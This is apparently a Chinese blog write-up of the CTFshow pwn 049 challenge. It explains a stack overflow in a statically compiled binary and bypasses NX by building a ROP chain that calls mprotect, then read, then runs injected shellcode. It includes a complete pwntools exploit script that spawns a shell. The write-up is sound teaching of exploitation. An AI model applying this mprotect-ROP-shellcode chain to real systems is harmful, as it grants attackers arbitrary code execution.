【CTFshow-pwn系列】03_栈溢出【pwn 049】详解:静态编译下的 mprotect 权限修改技巧

📅 发布时间:2026/7/13 19:59:28 👁️ 浏览次数:
【CTFshow-pwn系列】03_栈溢出【pwn 049】详解:静态编译下的 mprotect 权限修改技巧
本文仅用于技术研究禁止用于非法用途。Author:枷锁在上一关pwn 048中我们通过教科书般的Ret2Libc技术在动态链接的程序中大杀四方利用 libc 的基址泄露成功绕过了 ASLR。但 CTF 的世界里出题人总喜欢玩点新花样绝不会让我们一套招式打天下。来到PWN 049情况发生了巨大的变化。题目给出的提示非常直白“静态编译或许你可以找找mprotect函数”。这短短一句话直接点破了本题的核心考点静态编译环境下的权限修改与 Shellcode 注入。由于~/Desktop .............................................................. at 14:47:24 ldd ./pwn 不是动态可执行文件既然上帝出题人关上了动态链接的门没有 libc 可以泄露了但也为我们打开了一扇窗mprotect。这道题是静态编译 NX 保护下的经典案例让我们一起来看看如何“自己动手修改权限”。pwn 049静态编译下的 mprotect 艺术题目信息与环境侦察题目描述pwn49: 静态编译或许你可以找找mprotect函数解题过程首先例行公事使用checksec检查程序保护情况。Arch:i386-32-little(32位程序)RELRO:Partial RELROStack:canary found(有栈哨兵)NX:NX enabled(重点栈不可执行。这意味着我们不能简单地把 shellcode 写入栈上然后跳过去否则会触发 Segmentation Fault)PIE:No PIE(基址固定方便我们利用 ROP)静态编译意味着什么文件巨大程序把所有用到的库函数如printf,read,mprotect等都打包进了二进制文件里。无需泄露因为没有动态链接库我们不需要像 Ret2Libc 那样费尽心机去泄露 libc 基址。所有函数的地址在 IDA 里直接就能看到且运行且固定。Gadget 宝库由于代码量大程序中包含了大量的汇编片段Gadget非常适合进行 ROPReturn Oriented Programming攻击。第一部分代码审计与漏洞挖掘1. 静态分析 (IDA Pro)拖入 IDA观察main函数int __cdecl main(int argc, const char **argv, const char **envp) { init_0(); logo(); ctfshow(); // 关键漏洞函数 return 0; }进入ctfshow函数int ctfshow() { char v1[14]; // [esp6h] [ebp-12h] BYREF return read(0, v1, 100); }漏洞点分析变量v1位于ebp-12h即距离栈底 EBP 只有 18 字节。read函数却允许读取 100 字节。100 18存在严重的栈溢出。偏移量计算要覆盖到返回地址Ret Addr我们需要填充的数据长度 0x12(Buffer) 4(Old EBP) 22 字节。2. 破局思路为什么是 mprotect我们面临的困境是有溢出能控制 EIP。但是NX 开启栈不可执行。这是一个静态编译程序虽然没有system(/bin/sh)这种现成的后门但它肯定有系统调用。题目提示mprotect这是 Linux 系统中用于修改内存访问权限的函数。既然栈不能执行我们可以找一段原本存在的内存空间比如.bss段利用mprotect把它的权限改成RWX可读、可写、可执行然后把 shellcode 搬运过去执行。mprotect函数原型int mprotect(void *addr, size_t len, int prot);参数详解利用成功的关键addr (参数1)要修改权限的内存起始地址。硬性规定此地址必须是页对齐的Page Aligned。在 32 位 Linux 上一页通常是 4KB (0x1000)。这意味着你不能填0x804a020这种地址必须填0x804a000。len (参数2)要修改的长度。prot (参数3)期望的权限值。PROT_READ(4)PROT_WRITE(2)PROT_EXEC(1)我们要的是 RWX所以填7。第二部分ROP 链设计与 Gadget 寻找这是本题最核心的逻辑。我们需要在一次溢出中完成以下连招调用mprotect改权限。调用read写入 Shellcode。跳转执行 Shellcode。1. ROP 链的连接问题在 32 位程序中函数参数是通过栈传递的。 当我们调用mprotect(addr, len, 7)时栈上会有 3 个参数。 函数执行完ret时栈顶指针ESP位于返回地址处。如果我们直接把返回地址设为read函数那么read函数会把刚才mprotect用过的参数当成自己的返回地址或参数导致调用混乱。解决方案我们需要一个 Gadget作用是pop掉mprotect用过的 3 个参数让栈指针“滑”到我们为read准备的参数位置。 因为有 3 个参数我们需要pop reg; pop reg; pop reg; ret简称pop3_ret。2. 寻找 Gadget使用ROPgadget工具ROPgadget --binary pwn | grep pop .* pop .* pop .* ret输出示例找一个简单的0x080a019b : pop ebx ; pop esi ; pop ebp ; ret我们将使用0x080a019b这个地址来平衡栈。3. 确定目标内存地址我们需要找一段可写的内存区域。使用 IDA 查看 Segments 或在 GDB 中使用vmmap。 通常.bss段或.data段是可读写的。 假设我们选择.data段附近的一个地址例如0x80DA000。检查对齐0x80DA000 % 0x1000 0满足页对齐要求。4. 栈结构可视化 (The Grand ROP Chain)我们需要构造的 Payload 如下从低地址到高地址------------------------- | Padding (A * 22) | -- 1. 填满 Buffer (18) Old EBP (4) ------------------------- | mprotect 函数地址 | -- 2. 覆盖原始 Ret Addr程序跳转到 mprotect ------------------------- | pop3_ret Gadget | -- 3. mprotect 的返回地址。 | (0x080a019b) | mprotect 执行完后跳到这里执行 pop*3; ret ------------------------- | 0x80DA000 (addr) | -- mprotect 参数1页对齐的地址 ------------------------- | 0x1000 (len) | -- mprotect 参数2长度 4096 ------------------------- | 0x7 (prot) | -- mprotect 参数3权限 RWX ------------------------------------------------------------------ | pop3_ret 会弹出上面三个值 | 然后 ret 跳转到下面的 read ------------------------------ | read 函数地址 | -- 4. 此时 ESP 指向这里调用 read ------------------------- | 0x80DA000 (Target) | -- 5. read 的返回地址。 | | read 执行完后直接跳到这里执行 Shellcode ------------------------- | 0 (fd) | -- read 参数1标准输入 (stdin) ------------------------- | 0x80DA000 (buf) | -- read 参数2写入目标 (刚才改了权限的地址) ------------------------- | 0x100 (len) | -- read 参数3写入长度 -------------------------第三部分实战 EXP 编写与详解from pwn import * # 1. 基础配置 # 开启 debug 模式可以看到每一步的 I/O 数据方便调试 context.log_level debug context.arch i386 context.os linux # [本地调试] # 确保给 pwn 文件加上执行权限: chmod x pwn io process(./pwn) # [远程攻击] # io remote(pwn.challenge.ctf.show, 28185) elf ELF(./pwn) # 2. 获取关键地址 # 静态编译程序符号表都在直接获取 mprotect_addr elf.sym[mprotect] read_addr elf.sym[read] # 获取 Gadget 地址 # 如果没有 ROPgadget也可以用 rop ROP(elf); pop3_ret rop.find_gadget(...) # 但建议先在命令行用工具找好确认 pop3_ret 0x080a019b # 3. 确定目标内存段 # 0x80DA000 是一个经验值位于数据段附近 # 必须满足1. 可写(原属性) 2. 不影响程序其他逻辑 3. 页对齐(0x1000倍数) mem_addr 0x80DA000 mem_size 0x1000 mem_prot 7 # RWX (Read | Write | Execute) # 4. 构造 Payload # 偏移量 22 字节 padding bA * (0x12 4) payload flat([ padding, # --- 阶段 1: 赋予权限 (mprotect) --- mprotect_addr, # 调用 mprotect pop3_ret, # 设置返回地址为 pop3_ret用于清理下面三个参数并跳到 read mem_addr, # arg1: 需要改权限的地址 mem_size, # arg2: 长度 mem_prot, # arg3: 7 RWX # --- 阶段 2: 读入代码 (read) --- # pop3_ret 执行完 ret 后ESP 会指向这里 read_addr, # 调用 read mem_addr, # 设置返回地址为 mem_addr。read 结束后EIP 直接跳去 shellcode 0, # arg1: fd 0 (stdin) mem_addr, # arg2: buf mem_addr (把 shellcode 写到这里) 0x100 # arg3: len 足够长 ]) # 5. 发送 ROP 链 log.info(f[*] Modifying memory at {hex(mem_addr)} to RWX...) io.sendline(payload) # 6. 发送 Shellcode # 此时程序正在执行 read(0, 0x80DA000, 0x100)处于阻塞等待输入状态 # 我们发送 shellcode它就会被写入 0x80DA000 log.info([*] Sending Shellcode...) shellcode asm(shellcraft.sh()) io.sendline(shellcode) # 7. 拿 shell io.interactive()第四部分GDB 动态调试验证 (进阶)为了验证我们的利用思路是否正确我们可以使用 GDB 在本地观察内存权限的变化。启动调试 在脚本io process(./pwn)后加上gdb.attach(io, b *0x0804882C)(假设这是 read 函数的返回地址或者直接断在 mprotect)。查看初始权限 程序断下后在 GDB 中输入vmmap。 你会看到0x80DA000所在的段权限通常是rw-p(可读可写不可执行)。Start End Perm 0x080da000 0x080db000 rw-p -- 初始状态单步执行过 mprotect 让程序继续执行ni直到执行完mprotect系统调用。再次查看权限 再次输入vmmap。如果利用成功你会发现权限变了Start End Perm 0x080da000 0x080db000 rwxp -- 成功变成可执行5.追踪跳转 继续单步执行你会看到程序执行完read后ret指令将 EIP 变成了0x80DA000随后开始执行我们发送的 shellcode。总结静态编译的万能钥匙pwn 049 展示了静态编译程序在开启 NX 保护下的典型利用路径。虽然没有 Libc 可用但程序内部自带的mprotect无疑是一把万能钥匙。核心知识点复盘对齐原则mprotect的地址必须按页4KB对齐。ROP 链接利用pop3_ret平衡栈帧实现函数调用的无缝衔接。权限修改将PROT_EXEC(1) 赋予数据段绕过 NX 保护。这种“mprotect read shellcode”的组合拳在静态编译题目中非常通用。只要你掌握了这个套路静态编译的题目就只是纯粹的拼手速了。下一关我们继续挑战宇宙级免责声明 重要声明本文仅供合法授权下的安全研究与教育目的1.合法授权本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法可能导致法律后果包括但不限于刑事指控、民事诉讼及巨额赔偿。2.道德约束黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范仅用于提升系统安全性而非恶意入侵、数据窃取或服务干扰。3.风险自担使用本文所述工具和技术时你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。4.合规性确保你的测试符合当地及国际法律法规如《计算机欺诈与滥用法案》CFAA、《通用数据保护条例》GDPR等。必要时咨询法律顾问。5.最小影响原则测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。6.数据保护不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息应立即报告相关方并删除。7.免责范围作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。 安全研究的正确姿势✅ 先授权再测试✅ 只针对自己拥有或有权测试的系统✅ 发现漏洞后及时报告并协助修复✅ 尊重隐私不越界⚠️ 警告技术无善恶人心有黑白。请明智选择你的道路。